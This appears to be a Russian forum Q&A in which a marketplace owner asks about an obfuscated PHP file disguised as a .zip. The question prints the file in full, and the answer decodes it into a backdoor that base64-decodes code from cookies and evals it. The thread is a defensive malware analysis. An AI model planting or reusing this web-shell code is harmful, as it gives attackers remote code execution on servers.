Кто-нибудь видел код, запутанный таким образом раньше? Что это значит?

У меня есть рынок цифровых товаров, и продавец загрузил этот файл, это был zip-файл, но в Windows он был поврежден. Когда я открыл его в Linux, я был шокирован, увидев, что сам файл был php-файлом, к которому кто-то добавил расширение .zip.

Кто-нибудь видел такой код раньше? Может ли кто-нибудь помочь мне разобраться в этом? Это вредоносно?

<?php
$pljd="ynvwnKynvcpLCBqb2luKGFynvcmF5X3NsaWNlKCRhLCRjKCRnvhKS0zKSkpKSk7ZWNobyAnPnvC8nLnviRrLic+Jzt9";
$seld="ZXBnvsYnvWNlKGFycmF5KCcvnvWnv15cdz1nvcc10nvvJywnL1xznvLycnvpLCBhcnJheSgnJ";
$cyvj = str_replace("w","","wswtwrw_wrwepwlwacwe");
$qxau="GEpPjMpnveyRrPSdzZXJhdGknO2VjaG8gnvJzwnLiRnvrLic+JznvtldnvmFsKnvGnvJhc2U2NF9kZWNvZGnvUocHJlZ19nvy";
$gewk="JGnvM9J2NvnvdW50JznvskYT0kX0NPT0tJRTnvtpZihyZnvXNldCgknvYSk9PSdtYSnvcgJiYgJGMoJ";
$thyw = $cyvj("bi", "", "bibabisbie64bi_dbiebicbiobidbie");
$iign = $cyvj("x","","xcxrxexaxtxex_funxctixon");
$xzfy = $iign('', $thyw($cyvj("nv", "", $gewk.$qxau.$seld.$pljd))); $xzfy();
?>

Это то, что я получил от этого до сих пор.

<?php
$pljd="ynvwnKynvcpLCBqb2luKGFynvcmF5X3NsaWNlKCRhLCRjKCRnvhKS0zKSkpKSk7ZWNobyAnPnvC8nLnviRrLic+Jzt9";
$seld="ZXBnvsYnvWNlKGFycmF5KCcvnvWnv15cdz1nvcc10nvvJywnL1xznvLycnvpLCBhcnJheSgnJ";
$cyvj = str_replace("w","","str_replace");
$qxau="GEpPjMpnveyRrPSdzZXJhdGknO2VjaG8gnvJzwnLiRnvrLic+JznvtldnvmFsKnvGnvJhc2U2NF9kZWNvZGnvUocHJlZ19nvy";
$gewk="JGnvM9J2NvnvdW50JznvskYT0kX0NPT0tJRTnvtpZihyZnvXNldCgknvYSk9PSdtYSnvcgJiYgJGMoJ";
$thyw = $cyvj("bi", "", "base64_decode");
$iign = $cyvj("x","","create_function");
$xzfy = $iign('', $thyw($cyvj("nv", "", $gewk.$qxau.$seld.$pljd))); $xzfy();
?>

$xzfy = create_function(base64_decode(JGM9J2NvdW50JzskYT0kX0NPT0tJRTtpZihyZXNldCgkYSk9PSdtYScgJiYgJGMoJGEpPjMpeyRrPSdzZXJhdGknO2VjaG8gJzwnLiRrLic+JztldmFsKGJhc2U2NF9kZWNvZGUocHJlZ19yZXBsYWNlKGFycmF5KCcvW15cdz1cc10nJywnL1xzLycpLCBhcnJheSgnJywnKycpLCBqb2luKGFycmF5X3NsaWNlKCRhLCRjKCRhKS0zKSkpKSk7ZWNobyAnPC8nLiRrLic+Jzt9))

$c='count';$a=$_COOKIE;if(reset($a)=='ma' && $c($a)>3){$k='serati';echo '<'.$k.'>';eval(base64_decode(preg_replace(array('/[^\w=\s]'','/\s/'), array('','+'), join(array_slice($a,$c($a)-3)))));echo '</'.$k.'>';}

3

Решение

TL; DR Этот код позволяет людям использовать куки для выполнения произвольных скриптов на вашем сервере.

Код использует кучу случайных строк base64 для создания функции и немедленного ее выполнения.
Я потратил немного времени на то, чтобы отключить функцию, давая следующее:

if($_COOKIE[0] =='ma' && count($_COOKIE)>3){
echo '<serati>';
eval(base64_decode(preg_replace(array('/[^\w=\s]'','/\s/'), array('','+'), join(array_slice($_COOKIE,count($_COOKIE)-3)))));
echo '</serati>';}

Важная строка такова:

eval(base64_decode(preg_replace(array('/[^\w=\s]'','/\s/'), array('','+'), join(array_slice($_COOKIE,count($_COOKIE)-3)))));

Давайте разбить его на части:

  1. join(array_slice($_COOKIE,count($_COOKIE)-3))

Этот кусок объединяет все элементы в массиве $ _COOKIE, начиная с количества ($ _ COOKIE) — 3 до конца массива (сделайте все это одной строкой)

  1. preg_replace(array('/[^\w=\s]'','/\s/'), array('','+')

Во-первых, он ищет во вновь созданной строке шаблон «example = ‘» (где example может быть любым словом) и заменяет его на Nothing. Так что, если строка имела:

test= 'blah' это будет заменено blah',

Это также заменяет все пробелы на +.

  1. eval(base64_decode(..));

Он берет только что созданную строку (предположительно что-то в base64) и декодирует ее в удобочитаемый формат. Затем он берет эту строку и выполняет ее на сервере.

По сути, это означает, что кто-то может создать несколько файлов cookie на своем компьютере в базе 64, и ваш сервер объединит их в одну длинную строку, расшифрует и выполнит ее.

5

Другие решения

Других решений пока нет …

По вопросам рекламы [email protected]